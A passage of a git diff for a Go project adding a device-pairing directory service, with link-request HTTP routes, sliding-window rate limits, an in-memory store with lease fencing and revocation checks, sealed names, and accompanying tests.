http.StatusBadRequest { + t.Fatalf("status = %d, want 400", resp.StatusCode) + } +} + +func TestReplayedPublishIsRefusedByFence(t *testing.T) { + g := newRig(t, directorytest.NewFakeClock(), fakeAuth) + ctx := context.Background() + a, b := g.as("id_one", devA), g.as("id_one", devB) + if _, err := a.Create(ctx, cellX, directory.CellInit{Head: head1, Class: "chat"}); err != nil { + t.Fatal(err) + } + g.clock.Advance(directory.LeaseTTL + 1) + if _, err := b.Acquire(ctx, cellX, directory.AcquireOpts{}); err != nil { + t.Fatal(err) + } + // A replays the publish it sealed before B took over; the fence refuses it. + _, err := a.Publish(ctx, cellX, directory.Publish{Fence: 1, OldHead: head1, Head: head2, Class: "chat"}) + if !errors.Is(err, directory.ErrFenceStale) { + t.Fatalf("replayed publish = %v, want ErrFenceStale", err) + } +} + +// A rate limit from the directory keeps the wait the relay named, as the store's does. +func TestHTTPRateLimitKeepsRetryAfter(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Retry-After", "30") + w.WriteHeader(http.StatusTooManyRequests) + _, _ = w.Write([]byte(`{"err":"rate_limited"}`)) + })) + defer srv.Close() + c := directory.NewHTTP(srv.URL, fakeSign("alice", devA), srv.Client()) + _, err := c.List(context.Background()) + if !errors.Is(err, wireauth.ErrRateLimited) || wireauth.After(err) != 30*time.Second { + t.Fatalf("List = %v (after %v), want ErrRateLimited after 30s", err, wireauth.After(err)) + } +} diff --git a/internal/directory/linkhttp.go b/internal/directory/linkhttp.go new file mode 100644 index 0000000000..650248fdc7 --- /dev/null +++ b/internal/directory/linkhttp.go @@ -0,0 +1,100 @@ +package directory + +import ( + "context" + "encoding/json" + "errors" + "io" + "net/http" + "net/url" + "strconv" + "time" +) + +// LinkPath is the base of the open link-pairing routes. +const LinkPath = "/v1/link" + +// Linker is the store LinkHandler serves. *Links is the one implementation. +type Linker interface { + Open(peer string, in NewRequest) (Opened, error) + Read(ctx context.Context, peer, code string, wait time.Duration) (Request, error) + Limits() LinkLimits +} + +// PeerFunc names the network a request comes from, which the limits count. +type PeerFunc func(*http.Request) string + +// LinkHandler serves the open link-pairing routes (contract 3.1, 3.2, 3.6). +// They take no signature: the device asking has no identity yet. +func LinkHandler(l Linker, peer PeerFunc) http.Handler { + h := linkRoutes{l: l, peer: peer} + mux := http.NewServeMux() + mux.HandleFunc("POST "+LinkPath+"/requests", h.create) + mux.HandleFunc("GET "+LinkPath+"/requests/{code}", h.read) + mux.HandleFunc("GET "+LinkPath+"/limits", func(w http.ResponseWriter, _ *http.Request) { send(w, http.StatusOK, l.Limits()) }) + return mux +} + +type linkRoutes struct { + l Linker + peer PeerFunc +} + +func (h linkRoutes) create(w http.ResponseWriter, r *http.Request) { + body, err := io.ReadAll(http.MaxBytesReader(w, r.Body, MaxNewBody)) + var in NewRequest + if err != nil { + refuse(w, ErrTooBig) + return + } + if json.Unmarshal(body, &in) != nil { + refuse(w, ErrBadRequest) + return + } + o, err := h.l.Open(h.peer(r), in) + if err != nil { + refuse(w, err) + return + } + send(w, http.StatusCreated, o) +} + +func (h linkRoutes) read(w http.ResponseWriter, r *http.Request) { + ms, _ := strconv.Atoi(r.URL.Query().Get("wait")) + rec, err := h.l.Read(r.Context(), h.peer(r), r.PathValue("code"), time.Duration(ms)*time.Millisecond) + switch { + case errors.Is(err, ErrStillPending): + w.WriteHeader(http.StatusNoContent) + case err != nil: + refuse(w, err) + default: + send(w, http.StatusOK, rec) + } +} + +// LinkHTTP is Requests over the wire. It signs nothing. +type LinkHTTP struct{ h *HTTP } + +// NewLinkHTTP returns the open-side client for the relay at base. +func NewLinkHTTP(base string, hc *http.Client) *LinkHTTP { + return &LinkHTTP{h: NewHTTP(base, func(*http.Request, []byte) {}, hc)} +} + +var _ Requests = (*LinkHTTP)(nil) + +func (c *LinkHTTP) CreateRequest(ctx context.Context, in NewRequest) (o Opened, err error) { + return o, c.h.do(ctx, http.MethodPost, LinkPath+"/requests", in, &o) +} + +func (c *LinkHTTP) GetRequest(ctx context.Context, code string, wait time.Duration) (r Request, err error) { + path := LinkPath + "/requests/" + url.PathEscape(code) + if wait > 0 { + path += "?wait=" + strconv.FormatInt(wait.Milliseconds(), 10) + } + return r, c.h.do(ctx, http.MethodGet, path, nil, &r) +} + +// Limits reads the numbers the relay enforces. +func (c *LinkHTTP) Limits(ctx context.Context) (l LinkLimits, err error) { + return l, c.h.do(ctx, http.MethodGet, LinkPath+"/limits", nil, &l) +} diff --git a/internal/directory/links.go b/internal/directory/links.go new file mode 100644 index 0000000000..6985f3c365 --- /dev/null +++ b/internal/directory/links.go @@ -0,0 +1,301 @@ +package directory + +import ( + "context" + "crypto/rand" + "net/http" + "strconv" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// LinkLimits are the numbers a client may read (contract 3.6). +type LinkLimits struct { + TTLMs int64 `json:"ttl_ms"` + CreatePerHour int `json:"create_per_hour"` + PendingPerIP int `json:"pending_per_ip"` + ReadPerMinute int `json:"read_per_minute"` + MissPerMinute int `json:"miss_per_minute"` + ConcurrentPolls int `json:"concurrent_polls"` + MaxGrant int `json:"max_grant"` + MaxLive int `json:"max_live"` +} + +// DefaultLinkLimits are the contract's numbers. +var DefaultLinkLimits = LinkLimits{ + TTLMs: RequestTTL.Milliseconds(), CreatePerHour: 10, PendingPerIP: 3, ReadPerMinute: 60, + MissPerMinute: 20, ConcurrentPolls: 4, MaxGrant: MaxGrant, MaxLive: 2000, +} + +// Decider is the decision side of the request store, as an identity's +// directory sees it. apply runs while the request is still undecided and +// before the decision is kept, so a refused write leaves the request pending +// and two approvers cannot both write. +type Decider interface { + Decide(code string, d Decision, apply func(Request) error) error +} + +// Links is the global store of pending requests, one per relay (the Worker's +// LinkGate and LinkRequest objects). It is in memory: a request lives ten +// minutes, so a restart costs a person one new code. +type Links struct { + clock func() time.Time + limits LinkLimits + + mu sync.Mutex + reqs map[string]*entry + peers map[string]*use +} + +// entry is a request, the moment it stops being readable, and a channel that +// closes when it is decided. +type entry struct { + rec Request + peer string + until int64 + done chan struct{} +} + +// NewLinks returns an empty store that reads time from clock. +func NewLinks(clock func() time.Time, limits LinkLimits) *Links { + return &Links{clock: clock, limits: limits, reqs: map[string]*entry{}, peers: map[string]*use{}} +} + +var _ Decider = (*Links)(nil) + +// Limits are the numbers this store enforces. +func (l *Links) Limits() LinkLimits { return l.limits } + +func (l *Links) now() int64 { return l.clock().UnixMilli() } + +// Open stores a request made by peer. +func (l *Links) Open(peer string, in NewRequest) (Opened, error) { + l.mu.Lock() + defer l.mu.Unlock() + now := l.now() + l.sweep(now) + code, err := newCode() + if err != nil { + return Opened{}, err + } + o, rec, err := in.opened(code, now) + if err != nil { + return Opened{}, err + } + if err := l.admitCreate(peer, now); err != nil { + return Opened{}, err + } + l.reqs[code] = &entry{rec: rec, peer: peer, until: rec.ExpiresAt, done: make(chan struct{})} + return o, nil +} + +// admitCreate applies the per-network and global limits to one create. +func (l *Links) admitCreate(peer string, now int64) error { + switch { + case len(l.reqs) >= l.limits.MaxLive: + return ErrFull + case l.pendingOf(peer) >= l.limits.PendingPerIP: + return slow(time.Minute) + } + return l.use(peer).creates.take(now, time.Hour.Milliseconds(), l.limits.CreatePerHour) +} + +func (l *Links) pendingOf(peer string) (n int) { + for _, e := range l.reqs { + if e.peer == peer && e.rec.State == RequestPending { + n++ + } + } + return n +} + +// Read answers a request to peer; see Requests.GetRequest. +func (l *Links) Read(ctx context.Context, peer, code string, wait time.Duration) (Request, error) { + e, release, err := l.find(peer, code, wait > 0) + if err != nil { + return Request{}, err + } + defer release() + if wait > 0 { + l.await(ctx, e, min(wait, MaxWait)) + } + return l.snapshot(e, wait > 0) +} + +// find looks a code up under peer's read budget and, when the caller will +// wait, takes one of its poll places. release gives the place back. +func (l *Links) find(peer, code string, polling bool) (*entry, func(), error) { + l.mu.Lock() + defer l.mu.Unlock() + now := l.now() + l.sweep(now) + u := l.use(peer) + if err := u.reads.take(now, time.Minute.Milliseconds(), l.limits.ReadPerMinute); err != nil { + return nil, nil, err + } + e, ok := l.reqs[NormalizeCode(code)] + if !ok { + if err := u.misses.take(now, time.Minute.Milliseconds(), l.limits.MissPerMinute); err != nil { + return nil, nil, err + } + return nil, nil, ErrRequestGone + } + if !polling || e.rec.State != RequestPending { + return e, func() {}, nil + } + if u.polls >= l.limits.ConcurrentPolls { + return nil, nil, slow(time.Second) + } + u.polls++ + return e, func() { l.mu.Lock(); u.polls--; l.mu.Unlock() }, nil +} + +// await blocks until e is decided, the wait ends or ctx ends. +func (l *Links) await(ctx context.Context, e *entry, wait time.Duration) { + t := time.NewTimer(wait) + defer t.Stop() + select { + case <-e.done: + case <-t.C: + case <-ctx.Done(): + } +} + +// snapshot copies e's record; a polled request that is still pending is +// ErrStillPending, so the caller can tell a quiet wait from an answer. +func (l *Links) snapshot(e *entry, polled bool) (Request, error) { + l.mu.Lock() + defer l.mu.Unlock() + if polled && e.rec.State == RequestPending { + return Request{}, ErrStillPending + } + return e.rec, nil +} + +// Decide moves the request named code out of pending; see Decider. +func (l *Links) Decide(code string, d Decision, apply func(Request) error) error { + l.mu.Lock() + defer l.mu.Unlock() + now := l.now() + l.sweep(now) + e, ok := l.reqs[NormalizeCode(code)] + if !ok { + return ErrRequestGone + } + switch err := Settle(e.rec, d); err { + case errRepeat: + return nil + case nil: + default: + return err + } + if err := apply(e.rec); err != nil { + return err + } + e.rec, e.until = Decided(e.rec, d), now+DecidedKeep.Milliseconds() + close(e.done) + return nil +} + +// sweep forgets what can no longer be read, and the networks that have used +// nothing lately. The caller holds the lock. +func (l *Links) sweep(now int64) { + for code, e := range l.reqs { + if now >= e.until { + delete(l.reqs, code) + } + } + for peer, u := range l.peers { + if u.idle(now) { + delete(l.peers, peer) + } + } +} + +// From is the Requests one network sees; it is how a caller in the same +// process (a test, a local relay) uses the store without HTTP. +func (l *Links) From(peer string) Requests { return linkView{l, peer} } + +type linkView struct { + l *Links + peer string +} + +func (v linkView) CreateRequest(_ context.Context, in NewRequest) (Opened, error) { + return v.l.Open(v.peer, in) +} + +func (v linkView) GetRequest(ctx context.Context, code string, wait time.Duration) (Request, error) { + return v.l.Read(ctx, v.peer, code, wait) +} + +// newCode is 40 random bits in Crockford base32. +func newCode() (string, error) { + var raw [5]byte + if _, err := rand.Read(raw[:]); err != nil { + return "", err + } + var bits uint64 + for _, b := range raw { + bits = bits<<8 | uint64(b) + } + out := make([]byte, 8) + for i := range out { + out[i] = codeAlphabet[bits>>(5*(7-i))&31] + } + return string(out), nil +} + +// use is what one network has spent. +type use struct { + creates, reads, misses window + polls int +} + +func (l *Links) use(peer string) *use { + if l.peers[peer] == nil { + l.peers[peer] = &use{} + } + return l.peers[peer] +} + +func (u *use) idle(now int64) bool { + return u.polls == 0 && u.creates.empty(now, time.Hour.Milliseconds()) && + u.reads.empty(now, time.Minute.Milliseconds()) && u.misses.empty(now, time.Minute.Milliseconds()) +} + +// window counts uses inside a span, so a limit is "no more than n in the last +// span" and not a bucket that refills in lumps. +type window struct{ at []int64 } + +func (w *window) trim(now, span int64) { + keep := 0 + for keep < len(w.at) && now >= w.at[keep]+span { + keep++ + } + w.at = w.at[keep:] +} + +func (w *window) empty(now, span int64) bool { + w.trim(now, span) + return len(w.at) == 0 +} + +// take records a use unless max already fall inside span; then it answers a +// rate-limit refusal that says when the oldest use leaves the window. +func (w *window) take(now, span int64, max int) error { + w.trim(now, span) + if len(w.at) >= max { + return slow(time.Duration(w.at[0]+span-now) * time.Millisecond) + } + w.at = append(w.at, now) + return nil +} + +// slow is ErrRateLimited carrying how long to wait, rounded up to a second. +func slow(d time.Duration) error { + secs := int((d + time.Second - 1) / time.Second) + return wireauth.Wait(ErrRateLimited, http.Header{"Retry-After": {strconv.Itoa(max(secs, 1))}}) +} diff --git a/internal/directory/memory.go b/internal/directory/memory.go new file mode 100644 index 0000000000..59d3f909ce --- /dev/null +++ b/internal/directory/memory.go @@ -0,0 +1,314 @@ +package directory + +import ( + "context" + "maps" + "sync" + "time" +) + +// Memory is a small real directory held in memory. It applies the pure rules +// under one lock per write and stamps every time from its own clock. Many +// devices share one Memory, each through the Client that For returns. +type Memory struct { + pairing + clock func() time.Time + + mu sync.Mutex + identity IdentityRec + devices map[string]Device + cells map[string]Cell + grace GraceBounds + + // version counts the changes a person could see, and feed tells watchers of + // each. Only set and its two siblings move the first, and only locked + // publishes, so no verb can change a record without both. + version uint64 + feed *Feed +} + +// NewMemory returns an empty directory that reads time from clock. +func NewMemory(clock func() time.Time) *Memory { + m := &Memory{ + clock: clock, + identity: IdentityRec{V: 1}, + devices: map[string]Device{}, + cells: map[string]Cell{}, + grace: DefaultGraceBounds, + feed: NewFeed(clock), + } + wireFeed(m.feed, &m.pairing, m.seen) + return m +} + +var _ Watchable = (*Memory)(nil) + +// Feed is how a watcher hears of changes. +func (m *Memory) Feed() *Feed { return m.feed } + +// SetMaxWatchers changes the per-identity watcher cap. +func (m *Memory) SetMaxWatchers(n int) { m.feed.SetMaxWatchers(n) } + +// SetAfter changes the timers presence runs on. +func (m *Memory) SetAfter(after After) { m.feed.SetAfter(after) } + +// Close ends every watch. +func (m *Memory) Close() error { + m.feed.Close() + return nil +} + +// set stores next under id and counts the change when a person could see it. +// The caller holds the lock. +func set[T any](m *Memory, table map[string]T, id string, next T) { + old, had := table[id] + m.count(!had || m.feed.differs(id, old, next, m.now())) + table[id] = next +} + +// setIdentity is set for the one identity record. +func (m *Memory) setIdentity(next IdentityRec) { + m.count(differs(m.identity, next, m.now())) + m.identity = next +} + +func (m *Memory) count(changed bool) { + if changed { + m.version++ + } +} + +// publish tells watchers the directory is now at its current version. +func (m *Memory) publish() { m.feed.Publish(statusOf(m.version, m.identity, m.devices)) } + +// SetGraceBounds changes what a retire may ask for; a test or a relay that +// wants a short grace says so once, here. +func (m *Memory) SetGraceBounds(b GraceBounds) { + m.mu.Lock() + defer m.mu.Unlock() + m.grace = b +} + +// For returns the Client that device would hold: every write it makes is made +// as that device. +func (m *Memory) For(device string) Client { + return &memoryClient{pairing: &m.pairing, m: m, device: device} +} + +type memoryClient struct { + *pairing + m *Memory + device string +} + +func (m *Memory) now() int64 { return m.clock().UnixMilli() } + +// change reads cell id, applies fn and stores the result when fn accepts it. +// The caller holds the lock. +func (m *Memory) change(id string, fn func(Cell, int64) (Cell, error)) (CellView, error) { + c, ok := m.cells[id] + if !ok { + return CellView{}, ErrNotFound + } + now := m.now() + next, err := fn(c, now) + if err != nil { + return CellView{}, err + } + set(m, m.cells, id, next) + return CellView{Now: now, Cell: copyCell(next)}, nil +} + +// locked runs fn holding the directory lock, unless the calling device has +// been revoked: then fn never runs and the caller is told so. Every verb goes +// through here, which makes "refused on every verb" a fact of one line. +func (c *memoryClient) locked(fn func() error) error { + c.m.mu.Lock() + defer c.m.mu.Unlock() + if c.m.devices[c.device].Revoked { + return ErrRevoked + } + before := c.m.version + err := fn() + if c.m.version != before { + c.m.publish() + } + return err +} + +// writing is locked for a verb that changes a record: a replaced identity +// refuses it, which makes "read-only after a rotation" a fact of one line. +func (c *memoryClient) writing(fn func() error) error { + return c.locked(func() error { + if err := refusesWrites(c.m.identity); err != nil { + return err + } + return fn() + }) +} + +// changed is change under the lock, for the calling device. +func (c *memoryClient) changed(id string, fn func(Cell, int64) (Cell, error)) (v CellView, err error) { + err = c.writing(func() (err error) { + v, err = c.m.change(id, fn) + return err + }) + return v, err +} + +func (c *memoryClient) List(context.Context) (l Listing, err error) { + err = c.locked(func() error { + l = Listing{ + Now: c.m.now(), Identity: c.m.identity, Version: c.m.version, + Devices: maps.Clone(c.m.devices), Cells: map[string]Cell{}, + } + for id, cell := range c.m.cells { + l.Cells[id] = copyCell(c.m.feed.Lifted(id, cell)) + } + l = withoutFrames(l) + return nil + }) + return l, err +} + +func (c *memoryClient) Cell(_ context.Context, id string) (v CellView, err error) { + err = c.locked(func() error { + cell, ok := c.m.cells[id] + if !ok { + return ErrNotFound + } + v = CellView{Now: c.m.now(), Cell: copyCell(c.m.feed.Lifted(id, cell))} + return nil + }) + return v, err +} + +func (c *memoryClient) Rotate(_ context.Context, req RotationReq) (v RotationView, err error) { + err = c.locked(func() error { + rec, err := RotateBy(c.m.identity, c.device, req, c.m.now(), c.m.grace) + if err != nil { + return err + } + c.m.setIdentity(rec) + v = viewOf(rec, c.m.now(), c.m.grace) + return nil + }) + return v, err +} + +func (c *memoryClient) Rotation(context.Context) (v RotationView, err error) { + err = c.locked(func() error { + v = viewOf(c.m.identity, c.m.now(), c.m.grace) + return nil + }) + return v, err +} + +// PutDevice keeps the stored Revoked flag whatever the record says, so the +// only way to stop a device is Revoke and a device cannot clear its own stop. +func (c *memoryClient) PutDevice(_ context.Context, id string, d Device) error { + return c.writing(func() error { + c.m.store(id, d) + return nil + }) +} + +// store writes a device record as the directory keeps it and answers it. The +// caller holds the lock. +func (m *Memory) store(id string, d Device) Device { + old, had := m.devices[id] + d = Stamped(old, had, d, m.now()) + set(m, m.devices, id, d) + return d +} + +func (c *memoryClient) ApproveRequest(_ context.Context, code string, a Approval) error { + return c.approve(code, a, func(r Request) (d Device, err error) { + err = c.writing(func() error { + d = c.m.store(r.Device, a.Device) + return nil + }) + return d, err + }) +} + +func (c *memoryClient) DenyRequest(_ context.Context, code string) error { + return c.deny(code, func() error { return c.writing(func() error { return nil }) }) +} + +func (c *memoryClient) Revoke(_ context.Context, id string) error { + return c.writing(func() error { + d, ok := c.m.devices[id] + if !ok { + return ErrNotFound + } + d, err := RevokeOf(d, c.device, id) + if err == nil { + set(c.m, c.m.devices, id, d) + } + return err + }) +} + +func (c *memoryClient) SetVault(_ context.Context, old, next string) error { + return c.writing(func() error { + if c.m.identity.Vault != old { + return ErrCAS + } + rec := c.m.identity + rec.Vault = next + c.m.setIdentity(rec) + return nil + }) +} + +func (c *memoryClient) Create(_ context.Context, id string, in CellInit) (v CellView, err error) { + err = c.writing(func() error { + if _, taken := c.m.cells[id]; taken { + return ErrExists + } + now := c.m.now() + cell := Created(in, c.device, now) + set(c.m, c.m.cells, id, cell) + v = CellView{Now: now, Cell: copyCell(cell)} + return nil + }) + return v, err +} + +func (c *memoryClient) Acquire(_ context.Context, id string, o AcquireOpts) (CellView, error) { + return c.changed(id, func(cell Cell, now int64) (Cell, error) { + return Acquire(c.m.feed.Lifted(id, cell), c.device, now, o.Force, o.Expect) + }) +} + +func (c *memoryClient) Heartbeat(_ context.Context, id string, b Beat) (CellView, error) { + return c.changed(id, func(cell Cell, now int64) (Cell, error) { return Heartbeat(cell, c.device, b, now) }) +} + +func (c *memoryClient) Publish(_ context.Context, id string, p Publish) (CellView, error) { + return c.changed(id, func(cell Cell, now int64) (Cell, error) { return PublishTo(cell, c.device, p, now) }) +} + +func (c *memoryClient) Release(_ context.Context, id string, fence uint64) error { + _, err := c.changed(id, func(cell Cell, _ int64) (Cell, error) { return ReleaseOf(cell, c.device, fence) }) + return err +} + +func (c *memoryClient) Archive(_ context.Context, id string) error { + _, err := c.changed(id, func(cell Cell, _ int64) (Cell, error) { + cell.Archived = true + return cell, nil + }) + return err +} + +// copyCell detaches the key map so a caller cannot edit the stored record. +func copyCell(c Cell) Cell { + keys := make(map[string]map[string]string, len(c.Keys)) + for id, wrapped := range c.Keys { + keys[id] = maps.Clone(wrapped) + } + c.Keys = keys + return c +} diff --git a/internal/directory/memory_test.go b/internal/directory/memory_test.go new file mode 100644 index 0000000000..704f2a0e58 --- /dev/null +++ b/internal/directory/memory_test.go @@ -0,0 +1,14 @@ +package directory_test + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +func TestMemoryConforms(t *testing.T) { + directorytest.Run(t, func(_ *testing.T, clock *directorytest.FakeClock) directorytest.Devices { + return directory.NewMemory(clock.Now).For + }) +} diff --git a/internal/directory/names.go b/internal/directory/names.go new file mode 100644 index 0000000000..7e3eeee2f9 --- /dev/null +++ b/internal/directory/names.go @@ -0,0 +1,77 @@ +package directory + +import ( + "crypto/hmac" + "crypto/rand" + "crypto/sha256" + "encoding/base64" + "errors" + "unicode/utf8" + + "golang.org/x/crypto/chacha20poly1305" +) + +// MaxTitleBytes is how much of a title is kept before it is sealed. +const MaxTitleBytes = 120 + +var ( + b64 = base64.RawURLEncoding + nameAAD = []byte("codeaf:name:v1") + metaInfo = []byte("codeaf:metadata-key:v1") + + errSealedShort = errors.New("directory: sealed name too short") +) + +// MetadataKey derives the key that seals names from a cell key. +func MetadataKey(cellKey []byte) []byte { + mac := hmac.New(sha256.New, cellKey) + mac.Write(metaInfo) + return mac.Sum(nil) +} + +// SealName encrypts plain under key with a random nonce and returns +// b64(nonce ‖ ciphertext). The directory never sees the name. +func SealName(key []byte, plain string) (string, error) { + aead, err := chacha20poly1305.NewX(key) + if err != nil { + return "", err + } + nonce := make([]byte, aead.NonceSize()) + if _, err := rand.Read(nonce); err != nil { + return "", err + } + return b64.EncodeToString(aead.Seal(nonce, nonce, []byte(plain), nameAAD)), nil +} + +// OpenName reverses SealName. A wrong key or a changed byte is an error. +func OpenName(key []byte, sealed string) (string, error) { + aead, err := chacha20poly1305.NewX(key) + if err != nil { + return "", err + } + raw, err := b64.DecodeString(sealed) + if err != nil { + return "", err + } + if len(raw) < aead.NonceSize() { + return "", errSealedShort + } + nonce, body := raw[:aead.NonceSize()], raw[aead.NonceSize():] + plain, err := aead.Open(nil, nonce, body, nameAAD) + return string(plain), err +} + +// SealTitle cuts a title to MaxTitleBytes, never inside a character, and seals it. +func SealTitle(key []byte, title string) (string, error) { + return SealName(key, cutBytes(title, MaxTitleBytes)) +} + +func cutBytes(s string, max int) string { + if len(s) <= max { + return s + } + for max > 0 && !utf8.RuneStart(s[max]) { + max-- + } + return s[:max] +} diff --git a/internal/directory/names_test.go b/internal/directory/names_test.go new file mode 100644 index 0000000000..e7a0d3c59a --- /dev/null +++ b/internal/directory/names_test.go @@ -0,0 +1,71 @@ +package directory + +import ( + "strings" + "testing" +) + +func testKey() []byte { return MetadataKey([]byte("a cell key of any length")) } + +func TestSealOpenRoundTrip(t *testing.T) { + sealed, err := SealName(testKey(), "laptop") + if err != nil { + t.Fatal(err) + } + got, err := OpenName(testKey(), sealed) + if err != nil || got != "laptop" { + t.Fatalf("got %q, %v", got, err) + } + again, _ := SealName(testKey(), "laptop") + if again == sealed { + t.Fatal("two seals of one name matched: the nonce is not random") + } +} + +func TestOpenRefuses(t *testing.T) { + sealed, _ := SealName(testKey(), "laptop") + raw := []byte(sealed) + raw[len(raw)/2] ^= 1 + tests := []struct{ name, key, sealed string }{ + {"wrong key", string(MetadataKey([]byte("another key"))), sealed}, + {"tampered", string(testKey()), string(raw)}, + {"too short", string(testKey()), "AAAA"}, + {"not base64", string(testKey()), "!!!"}, + {"bad key length", "short", sealed}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + if got, err := OpenName([]byte(tc.key), tc.sealed); err == nil { + t.Fatalf("opened %q", got) + } + }) + } +} + +func TestSealTitleCutsBeforeSealing(t *testing.T) { + tests := []struct{ name, title, want string }{ + {"short is kept", "hello", "hello"}, + {"exactly the limit is kept", strings.Repeat("a", 120), strings.Repeat("a", 120)}, + {"long is cut to 120 bytes", strings.Repeat("a", 500), strings.Repeat("a", 120)}, + {"a character is never split", strings.Repeat("a", 119) + "é", strings.Repeat("a", 119)}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + sealed, err := SealTitle(testKey(), tc.title) + if err != nil { + t.Fatal(err) + } + got, err := OpenName(testKey(), sealed) + if err != nil || got != tc.want { + t.Fatalf("got %d bytes %q, %v", len(got), got, err) + } + }) + } +} + +func TestMetadataKeyIsStableAndKeyed(t *testing.T) { + a, b := MetadataKey([]byte("k1")), MetadataKey([]byte("k1")) + if string(a) != string(b) || len(a) != 32 || string(a) == string(MetadataKey([]byte("k2"))) { + t.Fatal("metadata key is not a stable 32-byte function of the cell key") + } +} diff --git a/internal/directory/pairing.go b/internal/directory/pairing.go new file mode 100644 index 0000000000..7b001061c0 --- /dev/null +++ b/internal/directory/pairing.go @@ -0,0 +1,65 @@ +package directory + +// Joined says a device was approved into the identity. It is what the watch +// feed tells the other devices, in the same turn as the approve. +type Joined struct { + Device string + Name string // sealed, as stored + Platform string + At int64 // directory ms +} + +// pairing is what a backend needs to answer ApproveRequest and DenyRequest: the +// request store to decide in, and an optional listener for new devices. Memory +// and SQLite embed it, so the two verbs are written once. +type pairing struct { + links Decider + onJoin func(Joined) +} + +// SetLinks gives the backend the request store its devices decide in. Call it +// before the directory is used; without one every request is ErrRequestGone. +func (p *pairing) SetLinks(d Decider) { p.links = d } + +// SetOnJoin registers the listener told of each approved device, after its +// record is written and before the approval is kept. Call it before use. +func (p *pairing) SetOnJoin(f func(Joined)) { p.onJoin = f } + +// approve decides code as approved. write stores the device record for the +// request and answers it as stored; it runs only when the decision is new. +func (p *pairing) approve(code string, a Approval, write func(Request) (Device, error)) error { + dec, err := decisionOf(a) + if err != nil { + return err + } + return p.decide(code, dec, func(r Request) error { + if r.Device != dec.Device { + return ErrBadRequest + } + d, err := write(r) + if err == nil { + p.joined(r, d) + } + return err + }) +} + +// deny decides code as denied. guard runs the caller's usual checks (not +// revoked, identity not replaced) without writing anything. +func (p *pairing) deny(code string, guard func() error) error { + return p.decide(code, Decision{State: RequestDenied}, func(Request) error { return guard() }) +} + +func (p *pairing) decide(code string, d Decision, apply func(Request) error) error { + if p.links == nil { + return ErrRequestGone + } + return p.links.Decide(code, d, apply) +} + +func (p *pairing) joined(r Request, d Device) { + if p.onJoin == nil { + return + } + p.onJoin(Joined{Device: r.Device, Name: d.Name, Platform: d.Platform, At: d.Created}) +} diff --git a/internal/directory/pairing_test.go b/internal/directory/pairing_test.go new file mode 100644 index 0000000000..3b5175b6bb --- /dev/null +++ b/internal/directory/pairing_test.go @@ -0,0 +1,106 @@ +package directory_test + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/directory/directorytest" +) + +func TestMemoryPairingConforms(t *testing.T) { + directorytest.RunPairing(t, func(*testing.T) directorytest.PairingRig { + clock := directorytest.NewFakeClock() + links := directory.NewLinks(clock.Now, directory.DefaultLinkLimits) + mem := directory.NewMemory(clock.Now) + mem.SetLinks(links) + return directorytest.PairingRig{Clock: clock, Devices: mem.For, Requests: links.From("net")} + }) +} + +func TestSQLitePairingConforms(t *testing.T) { + directorytest.RunPairing(t, func(t *testing.T) directorytest.PairingRig { + clock := directorytest.NewFakeClock() + links := directory.NewLinks(clock.Now, directory.DefaultLinkLimits) + db := openAt(t, filepath.Join(t.TempDir(), "dir.db"), clock) + db.SetLinks(links) + return directorytest.PairingRig{Clock: clock, Devices: db.For, Requests: links.From("net")} + }) +} + +func TestHTTPPairingConforms(t *testing.T) { + directorytest.RunPairing(t, func(t *testing.T) directorytest.PairingRig { + clock := directorytest.NewFakeClock() + links := directory.NewLinks(clock.Now, directory.DefaultLinkLimits) + spaces := newNamespaces(clock) + spaces.links = links + mux := http.NewServeMux() + mux.Handle("/v1/dir/", directory.Handler(fakeAuth, spaces.open)) + mux.Handle(directory.LinkPath+"/", directory.LinkHandler(links, func(*http.Request) string { return "net" })) + srv := httptest.NewServer(mux) + t.Cleanup(srv.Close) + as := func(device string) directory.Client { + return directory.NewHTTP(srv.URL, fakeSign("id_one", device), srv.Client()) + } + return directorytest.PairingRig{Clock: clock, Devices: as, Requests: directory.NewLinkHTTP(srv.URL, srv.Client())} + }) +} + +// The fixtures of docs/testdata/ux-pairing-vectors.json decode into the Go +// records and encode back to the same JSON. +func TestContractVectorsRoundTrip(t *testing.T) { + raw, err := os.ReadFile("../../docs/testdata/ux-pairing-vectors.json") + if err != nil { + t.Fatal(err) + } + var vectors map[string]json.RawMessage + if err := json.Unmarshal(raw, &vectors); err != nil { + t.Fatal(err) + } + for name, into := range map[string]any{ + "request_pending": &directory.Request{}, "create_answer": &directory.Opened{}, + "device_legacy": &directory.Device{}, "device_new": &directory.Device{}, + } { + if err := json.Unmarshal(vectors[name], into); err != nil { + t.Fatalf("%s: %v", name, err) + } + back, _ := json.Marshal(into) + if !jsonEqual(t, back, vectors[name]) { + t.Errorf("%s re-encodes as %s, fixture %s", name, back, vectors[name]) + } + } +} + +func jsonEqual(t *testing.T, a, b []byte) bool { + t.Helper() + var x, y any + if json.Unmarshal(a, &x) != nil || json.Unmarshal(b, &y) != nil { + t.Fatal("not json") + } + ja, _ := json.Marshal(x) + jb, _ := json.Marshal(y) + return string(ja) == string(jb) +} + +// A client that sends no platform, created or last_seen still writes a device, +// and a record that carries them keeps them out of the version count. +func TestLastSeenMovesNoVersion(t *testing.T) { + clock := directorytest.NewFakeClock() + mem := directory.NewMemory(clock.Now) + c := mem.For(tA) + if err := c.PutDevice(bg, tA, directory.Device{V: 1}); err != nil { + t.Fatal(err) + } + before, _ := c.List(bg) + if err := c.PutDevice(bg, tA, directory.Device{V: 1, LastSeen: 99}); err != nil { + t.Fatal(err) + } + after, _ := c.List(bg) + if before.Version != after.Version { + t.Fatalf("version %d -> %d for an ignored last_seen", before.Version, after.Version) + } +} diff --git a/internal/directory/presence.go b/internal/directory/presence.go new file mode 100644 index 0000000000..84a5693913 --- /dev/null +++ b/internal/directory/presence.go @@ -0,0 +1,92 @@ +package directory + +import ( + "context" + "database/sql" + "net/http" + "strconv" +) + +// DevicePresence is one device's line in a presence answer. +type DevicePresence struct { + Online bool `json:"online"` + LastSeen int64 `json:"last_seen"` // directory ms; the answer's now while Online +} + +// 